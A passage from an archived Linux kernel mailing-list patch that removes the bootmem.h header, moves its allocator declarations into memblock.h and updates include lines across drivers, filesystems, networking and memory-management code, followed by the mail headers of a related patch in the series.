@@ -12,7 +12,6 @@
 #include <linux/console.h>
 #include <linux/pci_regs.h>
 #include <linux/pci_ids.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/io.h>
 #include <asm/pci-direct.h>
diff --git a/drivers/xen/balloon.c b/drivers/xen/balloon.c
index e12bb25..a3f5cbf 100644
--- a/drivers/xen/balloon.c
+++ b/drivers/xen/balloon.c
@@ -44,7 +44,7 @@
 #include <linux/cred.h>
 #include <linux/errno.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/pagemap.h>
 #include <linux/highmem.h>
 #include <linux/mutex.h>
diff --git a/drivers/xen/events/events_base.c b/drivers/xen/events/events_base.c
index 08e4af0..88ec5f0 100644
--- a/drivers/xen/events/events_base.c
+++ b/drivers/xen/events/events_base.c
@@ -28,7 +28,7 @@
 #include <linux/irq.h>
 #include <linux/moduleparam.h>
 #include <linux/string.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/slab.h>
 #include <linux/irqnr.h>
 #include <linux/pci.h>
diff --git a/drivers/xen/grant-table.c b/drivers/xen/grant-table.c
index 7bafa70..16c9ffd 100644
--- a/drivers/xen/grant-table.c
+++ b/drivers/xen/grant-table.c
@@ -33,7 +33,7 @@
 
 #define pr_fmt(fmt) "xen:" KBUILD_MODNAME ": " fmt
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/sched.h>
 #include <linux/mm.h>
 #include <linux/slab.h>
diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c
index 6c13ff4..a8fb7bb 100644
--- a/drivers/xen/swiotlb-xen.c
+++ b/drivers/xen/swiotlb-xen.c
@@ -35,7 +35,6 @@
 
 #define pr_fmt(fmt) "xen:" KBUILD_MODNAME ": " fmt
 
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/dma-direct.h>
 #include <linux/export.h>
diff --git a/drivers/xen/xen-selfballoon.c b/drivers/xen/xen-selfballoon.c
index 55988b8..5165aa8 100644
--- a/drivers/xen/xen-selfballoon.c
+++ b/drivers/xen/xen-selfballoon.c
@@ -68,7 +68,7 @@
 #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
 
 #include <linux/kernel.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/swap.h>
 #include <linux/mm.h>
 #include <linux/mman.h>
diff --git a/fs/dcache.c b/fs/dcache.c
index c2e443f..2593153 100644
--- a/fs/dcache.c
+++ b/fs/dcache.c
@@ -26,7 +26,7 @@
 #include <linux/export.h>
 #include <linux/security.h>
 #include <linux/seqlock.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/bit_spinlock.h>
 #include <linux/rculist_bl.h>
 #include <linux/list_lru.h>
diff --git a/fs/inode.c b/fs/inode.c
index 41812a3..db9c263 100644
--- a/fs/inode.c
+++ b/fs/inode.c
@@ -10,7 +10,7 @@
 #include <linux/swap.h>
 #include <linux/security.h>
 #include <linux/cdev.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/fsnotify.h>
 #include <linux/mount.h>
 #include <linux/posix_acl.h>
diff --git a/fs/namespace.c b/fs/namespace.c
index a240e20..8000a71 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -24,7 +24,7 @@
 #include <linux/uaccess.h>
 #include <linux/proc_ns.h>
 #include <linux/magic.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/task_work.h>
 #include <linux/file.h>
 #include <linux/sched/task.h>
diff --git a/fs/proc/kcore.c b/fs/proc/kcore.c
index d297fe4..bbcc185 100644
--- a/fs/proc/kcore.c
+++ b/fs/proc/kcore.c
@@ -22,7 +22,7 @@
 #include <linux/vmalloc.h>
 #include <linux/highmem.h>
 #include <linux/printk.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/slab.h>
 #include <linux/uaccess.h>
diff --git a/fs/proc/page.c b/fs/proc/page.c
index 792c78a..6c517b1 100644
--- a/fs/proc/page.c
+++ b/fs/proc/page.c
@@ -1,5 +1,5 @@
 // SPDX-License-Identifier: GPL-2.0
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/compiler.h>
 #include <linux/fs.h>
 #include <linux/init.h>
diff --git a/fs/proc/vmcore.c b/fs/proc/vmcore.c
index cbde728..9106b75 100644
--- a/fs/proc/vmcore.c
+++ b/fs/proc/vmcore.c
@@ -16,7 +16,7 @@
 #include <linux/slab.h>
 #include <linux/highmem.h>
 #include <linux/printk.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/crash_dump.h>
 #include <linux/list.h>
diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
deleted file mode 100644
index b58873a..0000000
--- a/include/linux/bootmem.h
+++ /dev/null
@@ -1,173 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-/*
- * Discontiguous memory support, Kanoj Sarcar, SGI, Nov 1999
- */
-#ifndef _LINUX_BOOTMEM_H
-#define _LINUX_BOOTMEM_H
-
-#include <linux/mmzone.h>
-#include <linux/mm_types.h>
-#include <asm/dma.h>
-#include <asm/processor.h>
-
-/*
- *  simple boot-time physical memory area allocator.
- */
-
-extern unsigned long max_low_pfn;
-extern unsigned long min_low_pfn;
-
-/*
- * highest page
- */
-extern unsigned long max_pfn;
-/*
- * highest possible page
- */
-extern unsigned long long max_possible_pfn;
-
-extern unsigned long memblock_free_all(void);
-extern void reset_node_managed_pages(pg_data_t *pgdat);
-extern void reset_all_zones_managed_pages(void);
-
-/* We are using top down, so it is safe to use 0 here */
-#define BOOTMEM_LOW_LIMIT 0
-
-#ifndef ARCH_LOW_ADDRESS_LIMIT
-#define ARCH_LOW_ADDRESS_LIMIT  0xffffffffUL
-#endif
-
-/* FIXME: use MEMBLOCK_ALLOC_* variants here */
-#define BOOTMEM_ALLOC_ACCESSIBLE	0
-#define BOOTMEM_ALLOC_ANYWHERE		(~(phys_addr_t)0)
-
-/* FIXME: Move to memblock.h at a point where we remove nobootmem.c */
-void *memblock_alloc_try_nid_raw(phys_addr_t size, phys_addr_t align,
-				      phys_addr_t min_addr,
-				      phys_addr_t max_addr, int nid);
-void *memblock_alloc_try_nid_nopanic(phys_addr_t size,
-		phys_addr_t align, phys_addr_t min_addr,
-		phys_addr_t max_addr, int nid);
-void *memblock_alloc_try_nid(phys_addr_t size, phys_addr_t align,
-		phys_addr_t min_addr, phys_addr_t max_addr, int nid);
-void __memblock_free_early(phys_addr_t base, phys_addr_t size);
-void __memblock_free_late(phys_addr_t base, phys_addr_t size);
-
-static inline void * __init memblock_alloc(
-					phys_addr_t size,  phys_addr_t align)
-{
-	return memblock_alloc_try_nid(size, align, BOOTMEM_LOW_LIMIT,
-					    BOOTMEM_ALLOC_ACCESSIBLE,
-					    NUMA_NO_NODE);
-}
-
-static inline void * __init memblock_alloc_raw(
-					phys_addr_t size,  phys_addr_t align)
-{
-	return memblock_alloc_try_nid_raw(size, align, BOOTMEM_LOW_LIMIT,
-					    BOOTMEM_ALLOC_ACCESSIBLE,
-					    NUMA_NO_NODE);
-}
-
-static inline void * __init memblock_alloc_from(
-		phys_addr_t size, phys_addr_t align, phys_addr_t min_addr)
-{
-	return memblock_alloc_try_nid(size, align, min_addr,
-				      BOOTMEM_ALLOC_ACCESSIBLE,
-				      NUMA_NO_NODE);
-}
-
-static inline void * __init memblock_alloc_nopanic(
-					phys_addr_t size, phys_addr_t align)
-{
-	return memblock_alloc_try_nid_nopanic(size, align,
-						    BOOTMEM_LOW_LIMIT,
-						    BOOTMEM_ALLOC_ACCESSIBLE,
-						    NUMA_NO_NODE);
-}
-
-static inline void * __init memblock_alloc_low(
-					phys_addr_t size, phys_addr_t align)
-{
-	return memblock_alloc_try_nid(size, align,
-						   BOOTMEM_LOW_LIMIT,
-						   ARCH_LOW_ADDRESS_LIMIT,
-						   NUMA_NO_NODE);
-}
-static inline void * __init memblock_alloc_low_nopanic(
-					phys_addr_t size, phys_addr_t align)
-{
-	return memblock_alloc_try_nid_nopanic(size, align,
-						   BOOTMEM_LOW_LIMIT,
-						   ARCH_LOW_ADDRESS_LIMIT,
-						   NUMA_NO_NODE);
-}
-
-static inline void * __init memblock_alloc_from_nopanic(
-		phys_addr_t size, phys_addr_t align, phys_addr_t min_addr)
-{
-	return memblock_alloc_try_nid_nopanic(size, align, min_addr,
-						    BOOTMEM_ALLOC_ACCESSIBLE,
-						    NUMA_NO_NODE);
-}
-
-static inline void * __init memblock_alloc_node(
-		phys_addr_t size, phys_addr_t align, int nid)
-{
-	return memblock_alloc_try_nid(size, align, BOOTMEM_LOW_LIMIT,
-					    BOOTMEM_ALLOC_ACCESSIBLE, nid);
-}
-
-static inline void * __init memblock_alloc_node_nopanic(
-						phys_addr_t size, int nid)
-{
-	return memblock_alloc_try_nid_nopanic(size, 0, BOOTMEM_LOW_LIMIT,
-						    BOOTMEM_ALLOC_ACCESSIBLE,
-						    nid);
-}
-
-static inline void __init memblock_free_early(
-					phys_addr_t base, phys_addr_t size)
-{
-	__memblock_free_early(base, size);
-}
-
-static inline void __init memblock_free_early_nid(
-				phys_addr_t base, phys_addr_t size, int nid)
-{
-	__memblock_free_early(base, size);
-}
-
-static inline void __init memblock_free_late(
-					phys_addr_t base, phys_addr_t size)
-{
-	__memblock_free_late(base, size);
-}
-
-extern void *alloc_large_system_hash(const char *tablename,
-				     unsigned long bucketsize,
-				     unsigned long numentries,
-				     int scale,
-				     int flags,
-				     unsigned int *_hash_shift,
-				     unsigned int *_hash_mask,
-				     unsigned long low_limit,
-				     unsigned long high_limit);
-
-#define HASH_EARLY	0x00000001	/* Allocating during early boot? */
-#define HASH_SMALL	0x00000002	/* sub-page allocation allowed, min
-					 * shift passed via *_hash_shift */
-#define HASH_ZERO	0x00000004	/* Zero allocated hash table */
-
-/* Only NUMA needs hash distribution. 64bit NUMA architectures have
- * sufficient vmalloc space.
- */
-#ifdef CONFIG_NUMA
-#define HASHDIST_DEFAULT IS_ENABLED(CONFIG_64BIT)
-extern int hashdist;		/* Distribute hashes across NUMA nodes? */
-#else
-#define hashdist (0)
-#endif
-
-
-#endif /* _LINUX_BOOTMEM_H */
diff --git a/include/linux/memblock.h b/include/linux/memblock.h
index f16833c..d3bc270 100644
--- a/include/linux/memblock.h
+++ b/include/linux/memblock.h
@@ -15,6 +15,19 @@
 
 #include <linux/init.h>
 #include <linux/mm.h>
+#include <asm/dma.h>
+
+extern unsigned long max_low_pfn;
+extern unsigned long min_low_pfn;
+
+/*
+ * highest page
+ */
+extern unsigned long max_pfn;
+/*
+ * highest possible page
+ */
+extern unsigned long long max_possible_pfn;
 
 #define INIT_MEMBLOCK_REGIONS	128
 #define INIT_PHYSMEM_REGIONS	4
@@ -119,6 +132,10 @@ int memblock_mark_nomap(phys_addr_t base, phys_addr_t size);
 int memblock_clear_nomap(phys_addr_t base, phys_addr_t size);
 enum memblock_flags choose_memblock_flags(void);
 
+unsigned long memblock_free_all(void);
+void reset_node_managed_pages(pg_data_t *pgdat);
+void reset_all_zones_managed_pages(void);
+
 /* Low level functions */
 int memblock_add_range(struct memblock_type *type,
 		       phys_addr_t base, phys_addr_t size,
@@ -315,11 +332,116 @@ static inline int memblock_get_region_node(const struct memblock_region *r)
 }
 #endif /* CONFIG_HAVE_MEMBLOCK_NODE_MAP */
 
+/* Flags for memblock allocation APIs */
+#define MEMBLOCK_ALLOC_ANYWHERE	(~(phys_addr_t)0)
+#define MEMBLOCK_ALLOC_ACCESSIBLE	0
+
+/* We are using top down, so it is safe to use 0 here */
+#define MEMBLOCK_LOW_LIMIT 0
+
+#ifndef ARCH_LOW_ADDRESS_LIMIT
+#define ARCH_LOW_ADDRESS_LIMIT  0xffffffffUL
+#endif
+
 phys_addr_t memblock_phys_alloc_nid(phys_addr_t size, phys_addr_t align, int nid);
 phys_addr_t memblock_phys_alloc_try_nid(phys_addr_t size, phys_addr_t align, int nid);
 
 phys_addr_t memblock_phys_alloc(phys_addr_t size, phys_addr_t align);
 
+void *memblock_alloc_try_nid_raw(phys_addr_t size, phys_addr_t align,
+				 phys_addr_t min_addr, phys_addr_t max_addr,
+				 int nid);
+void *memblock_alloc_try_nid_nopanic(phys_addr_t size, phys_addr_t align,
+				     phys_addr_t min_addr, phys_addr_t max_addr,
+				     int nid);
+void *memblock_alloc_try_nid(phys_addr_t size, phys_addr_t align,
+			     phys_addr_t min_addr, phys_addr_t max_addr,
+			     int nid);
+
+static inline void * __init memblock_alloc(phys_addr_t size,  phys_addr_t align)
+{
+	return memblock_alloc_try_nid(size, align, MEMBLOCK_LOW_LIMIT,
+				      MEMBLOCK_ALLOC_ACCESSIBLE, NUMA_NO_NODE);
+}
+
+static inline void * __init memblock_alloc_raw(phys_addr_t size,
+					       phys_addr_t align)
+{
+	return memblock_alloc_try_nid_raw(size, align, MEMBLOCK_LOW_LIMIT,
+					  MEMBLOCK_ALLOC_ACCESSIBLE,
+					  NUMA_NO_NODE);
+}
+
+static inline void * __init memblock_alloc_from(phys_addr_t size,
+						phys_addr_t align,
+						phys_addr_t min_addr)
+{
+	return memblock_alloc_try_nid(size, align, min_addr,
+				      MEMBLOCK_ALLOC_ACCESSIBLE, NUMA_NO_NODE);
+}
+
+static inline void * __init memblock_alloc_nopanic(phys_addr_t size,
+						   phys_addr_t align)
+{
+	return memblock_alloc_try_nid_nopanic(size, align, MEMBLOCK_LOW_LIMIT,
+					      MEMBLOCK_ALLOC_ACCESSIBLE,
+					      NUMA_NO_NODE);
+}
+
+static inline void * __init memblock_alloc_low(phys_addr_t size,
+					       phys_addr_t align)
+{
+	return memblock_alloc_try_nid(size, align, MEMBLOCK_LOW_LIMIT,
+				      ARCH_LOW_ADDRESS_LIMIT, NUMA_NO_NODE);
+}
+static inline void * __init memblock_alloc_low_nopanic(phys_addr_t size,
+						       phys_addr_t align)
+{
+	return memblock_alloc_try_nid_nopanic(size, align, MEMBLOCK_LOW_LIMIT,
+					      ARCH_LOW_ADDRESS_LIMIT,
+					      NUMA_NO_NODE);
+}
+
+static inline void * __init memblock_alloc_from_nopanic(phys_addr_t size,
+							phys_addr_t align,
+							phys_addr_t min_addr)
+{
+	return memblock_alloc_try_nid_nopanic(size, align, min_addr,
+					      MEMBLOCK_ALLOC_ACCESSIBLE,
+					      NUMA_NO_NODE);
+}
+
+static inline void * __init memblock_alloc_node(phys_addr_t size,
+						phys_addr_t align, int nid)
+{
+	return memblock_alloc_try_nid(size, align, MEMBLOCK_LOW_LIMIT,
+				      MEMBLOCK_ALLOC_ACCESSIBLE, nid);
+}
+
+static inline void * __init memblock_alloc_node_nopanic(phys_addr_t size,
+							int nid)
+{
+	return memblock_alloc_try_nid_nopanic(size, 0, MEMBLOCK_LOW_LIMIT,
+					      MEMBLOCK_ALLOC_ACCESSIBLE, nid);
+}
+
+static inline void __init memblock_free_early(phys_addr_t base,
+					      phys_addr_t size)
+{
+	__memblock_free_early(base, size);
+}
+
+static inline void __init memblock_free_early_nid(phys_addr_t base,
+						  phys_addr_t size, int nid)
+{
+	__memblock_free_early(base, size);
+}
+
+static inline void __init memblock_free_late(phys_addr_t base, phys_addr_t size)
+{
+	__memblock_free_late(base, size);
+}
+
 /*
  * Set the allocation direction to bottom-up or top-down.
  */
@@ -338,10 +460,6 @@ static inline bool memblock_bottom_up(void)
 	return memblock.bottom_up;
 }
 
-/* Flags for memblock_alloc_base() amd __memblock_alloc_base() */
-#define MEMBLOCK_ALLOC_ANYWHERE	(~(phys_addr_t)0)
-#define MEMBLOCK_ALLOC_ACCESSIBLE	0
-
 phys_addr_t __init memblock_alloc_range(phys_addr_t size, phys_addr_t align,
 					phys_addr_t start, phys_addr_t end,
 					enum memblock_flags flags);
@@ -447,6 +565,31 @@ static inline unsigned long memblock_region_reserved_end_pfn(const struct memblo
 	     i < memblock_type->cnt;					\
 	     i++, rgn = &memblock_type->regions[i])
 
+extern void *alloc_large_system_hash(const char *tablename,
+				     unsigned long bucketsize,
+				     unsigned long numentries,
+				     int scale,
+				     int flags,
+				     unsigned int *_hash_shift,
+				     unsigned int *_hash_mask,
+				     unsigned long low_limit,
+				     unsigned long high_limit);
+
+#define HASH_EARLY	0x00000001	/* Allocating during early boot? */
+#define HASH_SMALL	0x00000002	/* sub-page allocation allowed, min
+					 * shift passed via *_hash_shift */
+#define HASH_ZERO	0x00000004	/* Zero allocated hash table */
+
+/* Only NUMA needs hash distribution. 64bit NUMA architectures have
+ * sufficient vmalloc space.
+ */
+#ifdef CONFIG_NUMA
+#define HASHDIST_DEFAULT IS_ENABLED(CONFIG_64BIT)
+extern int hashdist;		/* Distribute hashes across NUMA nodes? */
+#else
+#define hashdist (0)
+#endif
+
 #ifdef CONFIG_MEMTEST
 extern void early_memtest(phys_addr_t start, phys_addr_t end);
 #else
diff --git a/init/main.c b/init/main.c
index 99a9e99..473b554 100644
--- a/init/main.c
+++ b/init/main.c
@@ -25,7 +25,7 @@
 #include <linux/ioport.h>
 #include <linux/init.h>
 #include <linux/initrd.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/acpi.h>
 #include <linux/console.h>
 #include <linux/nmi.h>
diff --git a/kernel/dma/swiotlb.c b/kernel/dma/swiotlb.c
index d9fd062..7d83707 100644
--- a/kernel/dma/swiotlb.c
+++ b/kernel/dma/swiotlb.c
@@ -39,7 +39,7 @@
 #include <asm/dma.h>
 
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/iommu-helper.h>
 
 #define CREATE_TRACE_POINTS
diff --git a/kernel/futex.c b/kernel/futex.c
index 11fc3bb..2f82a24 100644
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -65,7 +65,7 @@
 #include <linux/sched/mm.h>
 #include <linux/hugetlb.h>
 #include <linux/freezer.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/fault-inject.h>
 
 #include <asm/futex.h>
diff --git a/kernel/locking/qspinlock_paravirt.h b/kernel/locking/qspinlock_paravirt.h
index 5a0cf5f..1c960f5 100644
--- a/kernel/locking/qspinlock_paravirt.h
+++ b/kernel/locking/qspinlock_paravirt.h
@@ -4,7 +4,7 @@
 #endif
 
 #include <linux/hash.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/debug_locks.h>
 
 /*
diff --git a/kernel/pid.c b/kernel/pid.c
index cdf63e5..b2f6c50 100644
--- a/kernel/pid.c
+++ b/kernel/pid.c
@@ -31,7 +31,7 @@
 #include <linux/slab.h>
 #include <linux/init.h>
 #include <linux/rculist.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/hash.h>
 #include <linux/pid_namespace.h>
 #include <linux/init_task.h>
diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c
index 34116a6..3c9e365 100644
--- a/kernel/power/snapshot.c
+++ b/kernel/power/snapshot.c
@@ -23,7 +23,7 @@
 #include <linux/pm.h>
 #include <linux/device.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/nmi.h>
 #include <linux/syscalls.h>
 #include <linux/console.h>
diff --git a/kernel/printk/printk.c b/kernel/printk/printk.c
index 3efcbe518..54ebe01 100644
--- a/kernel/printk/printk.c
+++ b/kernel/printk/printk.c
@@ -29,7 +29,6 @@
 #include <linux/delay.h>
 #include <linux/smp.h>
 #include <linux/security.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/syscalls.h>
 #include <linux/crash_core.h>
diff --git a/kernel/profile.c b/kernel/profile.c
index 9aa2a44..9c08a2c 100644
--- a/kernel/profile.c
+++ b/kernel/profile.c
@@ -16,7 +16,7 @@
 
 #include <linux/export.h>
 #include <linux/profile.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/notifier.h>
 #include <linux/mm.h>
 #include <linux/cpumask.h>
diff --git a/lib/cpumask.c b/lib/cpumask.c
index 1405cb2..75b5e76 100644
--- a/lib/cpumask.c
+++ b/lib/cpumask.c
@@ -4,7 +4,7 @@
 #include <linux/bitops.h>
 #include <linux/cpumask.h>
 #include <linux/export.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 /**
  * cpumask_next - get the next cpu in a cpumask
diff --git a/mm/hugetlb.c b/mm/hugetlb.c
index 67629dc..10b360e 100644
--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -15,7 +15,6 @@
 #include <linux/compiler.h>
 #include <linux/cpuset.h>
 #include <linux/mutex.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/sysfs.h>
 #include <linux/slab.h>
diff --git a/mm/kasan/kasan_init.c b/mm/kasan/kasan_init.c
index 785a970..c7550eb 100644
--- a/mm/kasan/kasan_init.c
+++ b/mm/kasan/kasan_init.c
@@ -10,11 +10,10 @@
  *
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/kasan.h>
 #include <linux/kernel.h>
-#include <linux/memblock.h>
 #include <linux/mm.h>
 #include <linux/pfn.h>
 #include <linux/slab.h>
diff --git a/mm/kmemleak.c b/mm/kmemleak.c
index 4f7e4b5..877de4f 100644
--- a/mm/kmemleak.c
+++ b/mm/kmemleak.c
@@ -92,7 +92,7 @@
 #include <linux/stacktrace.h>
 #include <linux/cache.h>
 #include <linux/percpu.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/pfn.h>
 #include <linux/mmzone.h>
 #include <linux/slab.h>
diff --git a/mm/memblock.c b/mm/memblock.c
index 86a4b80..32e5c62 100644
--- a/mm/memblock.c
+++ b/mm/memblock.c
@@ -20,7 +20,6 @@
 #include <linux/kmemleak.h>
 #include <linux/seq_file.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 
 #include <asm/sections.h>
 #include <linux/io.h>
diff --git a/mm/memory_hotplug.c b/mm/memory_hotplug.c
index 38d94b7..7687271 100644
--- a/mm/memory_hotplug.c
+++ b/mm/memory_hotplug.c
@@ -33,7 +33,6 @@
 #include <linux/stop_machine.h>
 #include <linux/hugetlb.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 #include <linux/compaction.h>
 
 #include <asm/tlbflush.h>
diff --git a/mm/page_alloc.c b/mm/page_alloc.c
index f4a8bc8..511447a 100644
--- a/mm/page_alloc.c
+++ b/mm/page_alloc.c
@@ -20,7 +20,6 @@
 #include <linux/interrupt.h>
 #include <linux/pagemap.h>
 #include <linux/jiffies.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/compiler.h>
 #include <linux/kernel.h>
diff --git a/mm/page_ext.c b/mm/page_ext.c
index 5323c2a..ae44f7a 100644
--- a/mm/page_ext.c
+++ b/mm/page_ext.c
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0
 #include <linux/mm.h>
 #include <linux/mmzone.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/page_ext.h>
 #include <linux/memory.h>
 #include <linux/vmalloc.h>
diff --git a/mm/page_idle.c b/mm/page_idle.c
index 6302bc6..b9e4b42 100644
--- a/mm/page_idle.c
+++ b/mm/page_idle.c
@@ -1,6 +1,6 @@
 // SPDX-License-Identifier: GPL-2.0
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/fs.h>
 #include <linux/sysfs.h>
 #include <linux/kobject.h>
diff --git a/mm/page_owner.c b/mm/page_owner.c
index c2494f0..dd7b290 100644
--- a/mm/page_owner.c
+++ b/mm/page_owner.c
@@ -3,7 +3,7 @@
 #include <linux/mm.h>
 #include <linux/slab.h>
 #include <linux/uaccess.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/stacktrace.h>
 #include <linux/page_owner.h>
 #include <linux/jump_label.h>
diff --git a/mm/percpu.c b/mm/percpu.c
index 86bb9f6..cac9d2f 100644
--- a/mm/percpu.c
+++ b/mm/percpu.c
@@ -65,7 +65,7 @@
 #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
 
 #include <linux/bitmap.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/err.h>
 #include <linux/lcm.h>
 #include <linux/list.h>
diff --git a/mm/sparse-vmemmap.c b/mm/sparse-vmemmap.c
index 7408cab..7fec057 100644
--- a/mm/sparse-vmemmap.c
+++ b/mm/sparse-vmemmap.c
@@ -20,7 +20,6 @@
  */
 #include <linux/mm.h>
 #include <linux/mmzone.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/memremap.h>
 #include <linux/highmem.h>
diff --git a/mm/sparse.c b/mm/sparse.c
index 0dcc306..c0788e3 100644
--- a/mm/sparse.c
+++ b/mm/sparse.c
@@ -5,7 +5,6 @@
 #include <linux/mm.h>
 #include <linux/slab.h>
 #include <linux/mmzone.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/compiler.h>
 #include <linux/highmem.h>
diff --git a/net/ipv4/inet_hashtables.c b/net/ipv4/inet_hashtables.c
index f5c9ef2..411dd7a 100644
--- a/net/ipv4/inet_hashtables.c
+++ b/net/ipv4/inet_hashtables.c
@@ -19,7 +19,7 @@
 #include <linux/slab.h>
 #include <linux/wait.h>
 #include <linux/vmalloc.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <net/addrconf.h>
 #include <net/inet_connection_sock.h>
diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c
index 67670fa..a74a4a7 100644
--- a/net/ipv4/tcp.c
+++ b/net/ipv4/tcp.c
@@ -262,7 +262,7 @@
 #include <linux/net.h>
 #include <linux/socket.h>
 #include <linux/random.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <linux/swap.h>
 #include <linux/cache.h>
diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c
index f4e35b2..5852044 100644
--- a/net/ipv4/udp.c
+++ b/net/ipv4/udp.c
@@ -81,7 +81,7 @@
 
 #include <linux/uaccess.h>
 #include <asm/ioctls.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <linux/swap.h>
 #include <linux/types.h>
diff --git a/net/sctp/protocol.c b/net/sctp/protocol.c
index e948db2..9b277bd 100644
--- a/net/sctp/protocol.c
+++ b/net/sctp/protocol.c
@@ -46,7 +46,7 @@
 #include <linux/netdevice.h>
 #include <linux/inetdevice.h>
 #include <linux/seq_file.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <linux/swap.h>
 #include <linux/slab.h>
diff --git a/net/xfrm/xfrm_hash.c b/net/xfrm/xfrm_hash.c
index 2ad33ce..eca8d84 100644
--- a/net/xfrm/xfrm_hash.c
+++ b/net/xfrm/xfrm_hash.c
@@ -6,7 +6,7 @@
 
 #include <linux/kernel.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/vmalloc.h>
 #include <linux/slab.h>
 #include <linux/xfrm.h>
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 02/30] mm: remove CONFIG_NO_BOOTMEM
Date: Fri, 14 Sep 2018 15:10:17 +0300
Lines: 475
Approved: news@gmane.org
Message-ID: <1536927045-23536-3-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536927360 20143 195.159.176.226 (14 Sep 2018 12:16:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:16:00 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vger.kernel.org, linux-um@lists.infradead.o
To: linux-mm@kvack.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Sep 14 14:15:52 2018
